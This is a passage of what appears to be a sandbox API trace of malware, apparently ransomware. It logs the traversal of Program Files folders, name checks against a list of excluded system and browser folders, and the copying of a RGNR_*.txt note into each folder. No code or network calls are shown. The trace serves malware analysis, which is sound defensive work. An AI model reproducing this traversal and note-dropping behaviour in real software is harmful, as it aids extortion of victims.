cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0079.583] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x3d [0079.583] lstrcpyW (in: lpString1=0x1ec10c, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0079.583] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\RGNR_FD7BD9FC.txt") returned=".txt" [0079.583] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0079.583] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8196f7c0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8196f7c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0079.583] FindClose (in: hFindFile=0x5a12e8 | out: hFindFile=0x5a12e8) returned 1 [0079.583] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8196f7c0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8196f7c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0079.583] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0079.583] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0079.584] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8196f7c0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8196f7c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0079.584] FindClose (in: hFindFile=0x5a12a8 | out: hFindFile=0x5a12a8) returned 1 [0079.584] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\*.*", lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8196f7c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8196f7c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12a8 [0079.584] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8196f7c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8196f7c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.584] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8196f7c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8196f7c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 1 [0079.584] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8196f7c0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8196f7c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0079.584] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x34 [0079.584] lstrcpyW (in: lpString1=0x1ecbd2, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0079.584] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\RGNR_FD7BD9FC.txt") returned=".txt" [0079.584] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0079.584] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8196f7c0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8196f7c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0079.584] FindClose (in: hFindFile=0x5a12a8 | out: hFindFile=0x5a12a8) returned 1 [0079.584] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa0867a70, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0867a70, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1 [0079.584] lstrcmpiW (lpString1="Microsoft Office", lpString2=".") returned 1 [0079.584] lstrcmpiW (lpString1="Microsoft Office", lpString2="..") returned 1 [0079.584] lstrcmpiW (lpString1="Microsoft Office", lpString2="Windows") returned -1 [0079.584] lstrcmpiW (lpString1="Microsoft Office", lpString2="Windows.old") returned -1 [0079.584] lstrcmpiW (lpString1="Microsoft Office", lpString2="Tor browser") returned -1 [0079.584] lstrcmpiW (lpString1="Microsoft Office", lpString2="Internet Explorer") returned 1 [0079.585] lstrcmpiW (lpString1="Microsoft Office", lpString2="Google") returned 1 [0079.585] lstrcmpiW (lpString1="Microsoft Office", lpString2="Opera") returned -1 [0079.585] lstrcmpiW (lpString1="Microsoft Office", lpString2="Opera Software") returned -1 [0079.585] lstrcmpiW (lpString1="Microsoft Office", lpString2="Mozilla") returned -1 [0079.585] lstrcmpiW (lpString1="Microsoft Office", lpString2="Mozilla Firefox") returned -1 [0079.585] lstrcmpiW (lpString1="Microsoft Office", lpString2="$Recycle.Bin") returned 1 [0079.585] lstrcmpiW (lpString1="Microsoft Office", lpString2="ProgramData") returned -1 [0079.585] lstrcmpiW (lpString1="Microsoft Office", lpString2="All Users") returned 1 [0079.585] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\*.*", nBufferLength=0x104, lpBuffer=0x1ed648, lpFilePart=0x1edaf4 | out: lpBuffer="\\\\?\\C:\\Program Files\\*.*", lpFilePart=0x1edaf4*="*.*") returned 0x18 [0079.585] lstrcpyW (in: lpString1=0x1ed672, lpString2="Microsoft Office" | out: lpString1="Microsoft Office") returned="Microsoft Office" [0079.585] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\" [0079.585] lstrcpyW (in: lpString1=0x1ed43c, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\" [0079.585] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\RGNR_FD7BD9FC.txt" [0079.585] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\microsoft office\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0079.587] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\*.*") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\*.*" [0079.587] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\*.*", nBufferLength=0x104, lpBuffer=0x1ec75c, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x29 [0079.587] lstrcpyW (in: lpString1=0x1ec554, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0079.587] lstrcpyW (in: lpString1=0x1ec7a8, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0079.587] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\*.*", lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x81aec580, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81aec580, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12a8 [0079.588] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0079.588] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x81aec580, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81aec580, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.588] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0079.588] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0079.588] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x294dba90, ftCreationTime.dwHighDateTime=0x1d55cba, ftLastAccessTime.dwLowDateTime=0x7742a1d0, ftLastAccessTime.dwHighDateTime=0x1d5aaac, ftLastWriteTime.dwLowDateTime=0x7742a1d0, ftLastWriteTime.dwHighDateTime=0x1d5aaac, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="centralcreditcard.exe", cAlternateFileName="CENTRA~1.EXE")) returned 1 [0079.588] lstrcmpiW (lpString1="centralcreditcard.exe", lpString2=".") returned 1 [0079.588] lstrcmpiW (lpString1="centralcreditcard.exe", lpString2="..") returned 1 [0079.588] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLIPART", cAlternateFileName="")) returned 1 [0079.588] lstrcmpiW (lpString1="CLIPART", lpString2=".") returned 1 [0079.588] lstrcmpiW (lpString1="CLIPART", lpString2="..") returned 1 [0079.588] lstrcmpiW (lpString1="CLIPART", lpString2="Windows") returned -1 [0079.588] lstrcmpiW (lpString1="CLIPART", lpString2="Windows.old") returned -1 [0079.588] lstrcmpiW (lpString1="CLIPART", lpString2="Tor browser") returned -1 [0079.588] lstrcmpiW (lpString1="CLIPART", lpString2="Internet Explorer") returned -1 [0079.588] lstrcmpiW (lpString1="CLIPART", lpString2="Google") returned -1 [0079.588] lstrcmpiW (lpString1="CLIPART", lpString2="Opera") returned -1 [0079.588] lstrcmpiW (lpString1="CLIPART", lpString2="Opera Software") returned -1 [0079.588] lstrcmpiW (lpString1="CLIPART", lpString2="Mozilla") returned -1 [0079.588] lstrcmpiW (lpString1="CLIPART", lpString2="Mozilla Firefox") returned -1 [0079.588] lstrcmpiW (lpString1="CLIPART", lpString2="$Recycle.Bin") returned 1 [0079.588] lstrcmpiW (lpString1="CLIPART", lpString2="ProgramData") returned -1 [0079.588] lstrcmpiW (lpString1="CLIPART", lpString2="All Users") returned 1 [0079.588] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x29 [0079.588] lstrcpyW (in: lpString1=0x1ecbbc, lpString2="CLIPART" | out: lpString1="CLIPART") returned="CLIPART" [0079.588] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\" [0079.588] lstrcpyW (in: lpString1=0x1ec964, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\" [0079.588] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\RGNR_FD7BD9FC.txt" [0079.588] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0079.591] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\*.*") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\*.*" [0079.591] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\*.*", nBufferLength=0x104, lpBuffer=0x1ebc84, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x31 [0079.591] lstrcpyW (in: lpString1=0x1eba7c, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0079.591] lstrcpyW (in: lpString1=0x1ebce0, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0079.591] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\*.*", lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x81aec580, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81aec580, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12e8 [0079.591] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0079.591] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x81aec580, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81aec580, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.592] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0079.592] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0079.592] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUB60COR", cAlternateFileName="")) returned 1 [0079.592] lstrcmpiW (lpString1="PUB60COR", lpString2=".") returned 1 [0079.592] lstrcmpiW (lpString1="PUB60COR", lpString2="..") returned 1 [0079.592] lstrcmpiW (lpString1="PUB60COR", lpString2="Windows") returned -1 [0079.592] lstrcmpiW (lpString1="PUB60COR", lpString2="Windows.old") returned -1 [0079.592] lstrcmpiW (lpString1="PUB60COR", lpString2="Tor browser") returned -1 [0079.592] lstrcmpiW (lpString1="PUB60COR", lpString2="Internet Explorer") returned 1 [0079.592] lstrcmpiW (lpString1="PUB60COR", lpString2="Google") returned 1 [0079.592] lstrcmpiW (lpString1="PUB60COR", lpString2="Opera") returned 1 [0079.592] lstrcmpiW (lpString1="PUB60COR", lpString2="Opera Software") returned 1 [0079.592] lstrcmpiW (lpString1="PUB60COR", lpString2="Mozilla") returned 1 [0079.592] lstrcmpiW (lpString1="PUB60COR", lpString2="Mozilla Firefox") returned 1 [0079.592] lstrcmpiW (lpString1="PUB60COR", lpString2="$Recycle.Bin") returned 1 [0079.592] lstrcmpiW (lpString1="PUB60COR", lpString2="ProgramData") returned 1 [0079.592] lstrcmpiW (lpString1="PUB60COR", lpString2="All Users") returned 1 [0079.592] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x31 [0079.592] lstrcpyW (in: lpString1=0x1ec0f4, lpString2="PUB60COR" | out: lpString1="PUB60COR") returned="PUB60COR" [0079.592] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0079.592] lstrcpyW (in: lpString1=0x1ebe8c, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0079.592] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RGNR_FD7BD9FC.txt" [0079.592] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0079.597] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*" [0079.597] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb1ac, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0079.597] lstrcpyW (in: lpString1=0x1eafa4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0079.597] lstrcpyW (in: lpString1=0x1eb21a, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0079.597] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x81aec580, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81aec580, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0079.599] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0079.599] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x81aec580, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81aec580, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.599] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0079.600] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0079.600] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54952c00, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54952c00, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x2340, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00004_.GIF", cAlternateFileName="")) returned 1 [0079.600] lstrcmpiW (lpString1="AG00004_.GIF", lpString2=".") returned 1 [0079.600] lstrcmpiW (lpString1="AG00004_.GIF", lpString2="..") returned 1 [0079.600] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83130700, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83130700, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x1c30, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00011_.GIF", cAlternateFileName="")) returned 1 [0079.600] lstrcmpiW (lpString1="AG00011_.GIF", lpString2=".") returned 1 [0079.600] lstrcmpiW (lpString1="AG00011_.GIF", lpString2="..") returned 1 [0079.600] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78587200, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78587200, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x3a19, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00021_.GIF", cAlternateFileName="")) returned 1 [0079.600] lstrcmpiW (lpString1="AG00021_.GIF", lpString2=".") returned 1 [0079.600] lstrcmpiW (lpString1="AG00021_.GIF", lpString2="..") returned 1 [0079.600] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64147500, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64147500, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x1a1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00037_.GIF", cAlternateFileName="")) returned 1 [0079.600] lstrcmpiW (lpString1="AG00037_.GIF", lpString2=".") returned 1 [0079.600] lstrcmpiW (lpString1="AG00037_.GIF", lpString2="..") returned 1 [0079.600] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47589c00, 